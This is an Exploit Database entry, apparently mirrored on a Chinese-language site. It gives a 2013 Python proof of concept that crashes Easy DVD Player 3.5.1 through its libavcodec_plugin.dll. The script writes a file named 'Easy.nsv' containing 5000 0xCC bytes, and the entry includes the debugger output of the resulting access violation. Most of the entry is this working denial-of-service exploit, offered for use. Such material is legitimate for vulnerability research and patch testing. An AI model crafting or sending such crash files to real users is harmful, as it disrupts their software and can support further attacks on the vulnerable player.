Easy DVD Player 3.5.1 – libav ‘libavcodec_plugin.dll’ Denial of Service

• Exploit Database
• 12 阅读

• 作者： metacom
  日期： 2013-04-05
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/24917/

• #!/usr/bin/python 
  # Exploit Title:Easy DVD Player (libav) libavcodec_plugin.dll DOS 
  # Download link :http://www.easy-dvd-player.com/download.htm
  # Author: metacom
  # version: version V3.5.1
  # Category: poc
  # Tested on: windows 7 German
  
  '''
  read violation on 0x00000010
  libavcodec_plugin.dll
  (714.520): Access violation - code c0000005 (!!! second chance !!!)
  *** ERROR: Symbol file could not be found.Defaulted to export symbols for C:\Program Files\ZJMedia\Easy DVD Player\plugins\libavcodec_plugin.dll - 
  eax=ffffffff ebx=01c7b068 ecx=757a98da edx=00000000 esi=0432f93c edi=ffffffff
  eip=61acc6d0 esp=0432f900 ebp=62134ce0 iopl=0 nv up ei pl nz na po nc
  cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010202
  libavcodec_plugin!vlc_entry__1_1_0g+0x1b350:
  61acc6d0 8b4210mov eax,dword ptr [edx+10h] ds:0023:00000010=????????
  '''
   
  filename= "Easy.nsv"
  
  
  buffer = "\xCC" * 5000
  
  textfile = open(filename , 'w')
  textfile.write(buffer)
  textfile.close()